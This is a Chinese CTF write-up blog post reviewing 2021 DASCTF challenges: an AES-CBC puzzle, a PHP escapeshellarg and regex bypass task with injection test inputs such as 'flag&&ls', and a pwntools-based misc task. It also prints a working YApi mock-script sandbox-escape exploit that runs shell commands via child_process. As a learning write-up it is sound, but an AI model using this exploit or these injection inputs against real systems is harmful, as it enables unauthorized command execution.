记2021DASCTF没做出来的那些题

  • crypto
    • 签到
      • 自己做的
      • 官解
      • 一些知识点
  • web
    • ezrce(唯一做出来的)
    • cat flag
      • 自己做的
      • 官解
      • 一些知识点
  • misc
    • 红蓝对抗
      • 自己做的
      • 官解
      • 分析wp与原来的解题思路

这两天参加了DASCTF,感觉题目质量不错,有挑战性,都是看了大概有点思路,但是实际去做又需要花点功夫的题。所以总结一下这次比赛尝试做但是没做出来的题目

本文以本人做题的思考过程为线索,如果有兴趣看我是怎么思考的可以看完。如果想看正解的请直接看官解。我不会修改做题思路中的错误,另外,也并不保证对官方题解分析的正确性

crypto

签到

自己做的

签到题是一个密码学的AES的题目,加密脚本给出来了

from Crypto.Cipher import AES
import os
def pad(a):size = (16-len(a)%16)%16a += chr(size)*sizereturn aiv = os.urandom(16)
key = os.urandom(16)
enc = AES.new(key,AES.MODE_CBC,iv)
print(iv.encode('hex'))for _ in range(2):try:trick = raw_input("")trick = pad(trick.decode('hex'))cipher = enc.encrypt(trick)if trick == cipher and trick != "" :with open("flag.txt") as f:print(f.read())exit()else:print(cipher.encode('hex'))print("Try again")except:exit()

加密采用的是AES的一个CBC加密,在【转】AES加密算法原理中介绍了这个加密方式,简单概括为如下流程
题目给了偏移量但是没给密钥,随意输入内容后又会输入密文,估计是要通过爆破的方式爆破出密钥,进而能够使密文和明文的内容相同,才会输出flag,不过很可惜我没看懂这个加密算法,也没找到相应的exp。

官解

一些知识点

1.异或算法可以理解为没有进位的加法,如1100和1111相加后应该得到11011,而进行异或运算,则会得到0011。如此容易得知,一个数与自己异或后会得到0。
2.如果将AES的加密运算函数设为E,那么在第一次运算的时候传入的数据先要进行异或。由于信息并未进行摘要,所以在密钥不变的情况下,想要传入两个不同的数据得到相同的密文,那就只能使得最终传入E的数据为0了 。

web

ezrce(唯一做出来的)

这题是唯一做出来的。启动靶机后出来的是一个yapi界面,直接百度搜索yapi和rce,一查发现最近爆出来的一个yapi的漏洞,可以通过JS脚本直接远程执行命令
在YAPI接口管理平台RCE复现-附exp中找到了exp

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ls").toString()

显然,exp前面的内容是用来绕过沙箱的,原理我也不是很懂,但是这题似乎也不需要,我们直接修改最后一句的命令,就可以达到远程执行代码的效果。

命令执行后就是这样的效果了,cat aa.js,没发现什么有用的东西,无意间退回上级目录却发现了flag

最终的exp就不贴了,稍微懂一点linux就应该知道怎么返回上级目录,查看flag。

cat flag

自己做的

启动靶机后看到一个PHP文件
解释一下代码,通过get方式传入cmd参数,当cmd参数与“flag”正则匹配时则继续。
而if里的功能则是将cmd与flag作正则匹配,然后将cmd经过escapeshellarg函数处理后传入system,系统执行system里的语句。
我认为这题的关键点在于正则匹配和后面的escapeshellarg绕过。
按照我的理解,这句正则匹配的意思是只要存在“flag”,不论大小写均可通过。而escapeshellarg则是将cmd中的部分字符进行转义,防止命令执行漏洞,但是仍然可以绕过。
但是如何绕过,emmm我是一头雾水,我尝试输入了cmd=“flag||ls”和cmd=“flag&&ls”,都没有用,等我再看看文章,或者等官方的wp吧

官解

看完wp才发现自己的理解是错误的,正则匹配是要绕过的,不是我理解的需要匹配,而是不能匹配。另外关于escapeshellarg函数的理解也存在一些问题。

一些知识点

1.php函数escapeshellarg
        escapeshellarg函数确实是用来转义引号防止注入的,可是还有一个作用是用来防止执行多条命令的,所以我之前尝试使用&&是不行的。具体可以尝试使用下面的代码进行测试,测试结果发现

<?php
echo "hello world";
isset($_GET['cmd']);
$cmd = $_GET['cmd'];
$cmd = escapeshellarg($cmd);
$cmd='cat '.$cmd;
echo $cmd;
?>
get传入 处理后 linux执行情况
flag cat “flag” 读取“flag”文件
flag&&ls cat “flag” 读取”flag“文件
flag||ls cat “flag||ls” 读取"flag||ls"文件
flag" cat “flag” 读取“flag”文件

(接上)显然,这个函数会将引号过滤,并且也会过滤&&,而且无法通过闭合引号逃逸。
2.正则绕过,这个方法就还挺多的。%aa会被escapshellarg过滤,这个今天测试了好久,去了好几个群问了七八个师傅才弄清楚,后面会单独写一篇escapshellarg的分析。

misc

红蓝对抗

自己做的

红蓝对抗

题目描述如上图
链接效果如图,根据实际测试,大概在一分钟左右会强制断开链接,所以使用手动测试时不可能的,那么就需要编写脚本了。但是我看了python的os.system方法和subprocess库,都是只能fork一个子进程进行输入,再输入的话就另外fork了,这显然不满足题目的需求,我找了好久都没找到方法,我看了一下,可能使用Python代替netcat链接,在python里发送指令可以完成,但是网上的例子都太复杂了,调试的时候都不成功,所以也就不了了之了。

官解

分析wp与原来的解题思路

wp中使用了python的pwn模块,pwn模块可以直接nc连接,我当时一直在想怎么让subprocess在同一个进程输入。这个确实是经验不足,还需要多做题。
下面简单分析一下wp给的代码吧,题目就不再分析了,在前面已经分析过了,是固定的值。

因为代码没办法复制(有水印,会把水印复制下来),所以就直接以文字形式解析代码。

第5行是创建一个远控对象,后面所有的操作都是基于p的。

第9行使用了python的列表解析。本行创造了一个有66个’r’的列表。

第14行是对p收到的信息进行正则匹配,直到匹配成功才往下执行,相当于while循环。(在对pwntools之recv,send方法的理解这篇文章中对pwn的recv函数有很好的解释,这篇文章总结的很好。)在这里则是匹配到游戏开始才往下执行。

第16与17行分别接收your choice 和 the result,具体可以看上面的截图。

第19行的if函数是对a和b进行切片操作。网上许多教程都讲了切片操作,但我认为Python切片操作深入详解是讲解最简单易懂的。在这里取a和b的后9位字符进行匹配,如果相同则代表本轮正确。

第25行采用正则匹配输出flag,但我觉得没必要,直接输出s就好了,可能是我的正则用的还不熟,大佬是随手一写就写出来了。

第28行的功能是,若i!=66,也就是还没跑完,那么就一直等待p传入继续游戏的信号。

第29行的else对应的是19行的检测的if,当检测结果不一致,那么证明该轮循环结束,并且该轮循环对应的i值对应的列表中的值应该改为’b‘。

35行,while的最后一句,检测到flag不为空则跳出。

最后检测时间。

记2021DASCTF没做出来的那些题(已更新官wp版本)相关推荐

  1. 【考研真题】四川大学2019初试真题 已更新在GitHub

    在GitHub上,小编整理了计算机/软件专业 各个学校的考研初试真题,目前正在整理中,并且一直在进行更新. 今日更新的是 四川大学 的考研初试真题 项目地址: https://github.com/c ...

  2. 【随记】没Windows咋办?看看国产桌面操作系统Deepin

    先问大家一个问题:如果我们用不了Windows系统,我们还有其他替代方案吗?毕竟,隔壁老美最近不咋靠谱,我们有自己的操作系统可以用吗? 于是,鹦鹉先生找到了一个口碑还不错的国产Linux发行版--深度 ...

  3. 蓝桥杯刷题日记 更新到2022/2/5

    蓝桥杯刷题日记 文章目录 蓝桥杯刷题日记 DAY1 1.递归实现指数型枚举 2.递归实现组合型枚举 3.递归实现排列型枚举 Day2 1.八皇后问题 *2.费解的开关 3.带分数 Day3 1.飞行员 ...

  4. 2022 CCPC补题(更新中...)

    2022 CCPC补题(更新中-) 看着学校的佬参加了CCPC和ICPC,自己作为一名准ACMer,就来把一些签到题做一下. ps:恭喜我校的梭哈队获得银牌. 第一场 链接: 2022 CCPC桂林 ...

  5. 九月百度,迅雷,华为,阿里巴巴,最新校招笔试面试十题(更新至9.24)

    题记 本博客自2010年10月11日开通以来,已经帮助了一大批人找到工作,特别是连续三年在每一年的9.10月份陪伴了至少三届毕业生找工作的旅程,包括校招中的笔试面试,今年也不会例外,我会在本博客开通3 ...

  6. 情景软工编程题(待更新)

    情景软工编程题(待更新) 题目1: 题目2:爬山

  7. CISCO 640-875 认证题库 更新

    CISCO 640-875 认证题库 更新2012-12-20 Exam Code : 640-875 Exam Name : Building Cisco Service Provider Next ...

  8. 2022数学建模美赛ABCDEF题详细思路获取ACDEF已更新

    ABCDEF已更新 关注微信公众号:千千小屋grow A博文:http://t.csdn.cn/gc5Wy B博文:http://t.csdn.cn/HYYUs C博文:http://t.csdn.c ...

  9. java 逻辑思维题 后续更新

    java 逻辑思维题 后续更新 1. 比如 输入一个 n=5 打印结果如下: 解题思想:1.通过奇偶数 判端拼写顺寻 2.用个变量 记录每行的个数 不等 直接写 * 代码: private stati ...

最新文章

  1. 《中国人工智能学会通讯》——11.51 基于幻象技术的异质人脸图像合成
  2. webpack 编译stylus_webpack 文档更新日志(9.129.29)
  3. 用VIPER构建iOS应用
  4. pjsip视频通信开发(上层应用)之EditText重写
  5. 虚拟跳线软件干什么用的_跳线的作用
  6. FrameBuffer编程二(简单的程序上)
  7. Bootstrap CSS 编码规范之Class 命名规范
  8. 用 Java 拿下 HTML,分分钟写个小爬虫!
  9. 人设倒了扶起来:Lazarus 组织利用含木马的IDA Pro 攻击研究员
  10. 一个Bug你改了两天,真有这么难吗?
  11. 光模块自动测试系统软件,可插拔收发光模块自动化检测系统
  12. 光储并网VSG系统Matlab/simulink仿真模型 系统前级直流部分包括光伏阵列、变换器、储能系统和双向dcdc变换器,后级交流子系统包括逆变器LC滤波器,交流负载
  13. 计算机无法识别1136打印机,惠普HP M1136打印机驱动安装失败的多种解决办法
  14. 86版五笔-拆字规则
  15. pandas的重复值的处理
  16. 彪悍开源的分析数据库-ClickHouse
  17. 超闩锁和子闩锁如何工作的
  18. 分布式数据库之TiDB
  19. HTB_Responder 综合靶机 菜菜被虐现场实录
  20. 从零开始在 FreeNAS 的 Jail 上安装 NextCloud 并配置 Nginx 作为网页服务器而且 设置SSL证书 使用 https 访问 以及 oc_filecache 修复方法、优化方法

热门文章

  1. 9月20日云栖精选夜读:异构计算高性能计算分论坛——揭秘拿什么实现超算平民化、国际化?...
  2. java转大数据的学习路线
  3. 华为OD机试 - 荒地(Java JS Python)
  4. python安装lap_AP 升级到 LAP,或 LAP 降到 AP 的方法
  5. Git常用的指令整理
  6. 期末大作业+毕业设计:在线电影网站设计——影视大全(6页面)含登录注册HTML+CSS+JavaScript
  7. Java代码审计手册(1)
  8. 只需5步,从0开始搭建你的第一款小程序
  9. 解决bug问题,查找bug的方法
  10. 27、火灾危险性分类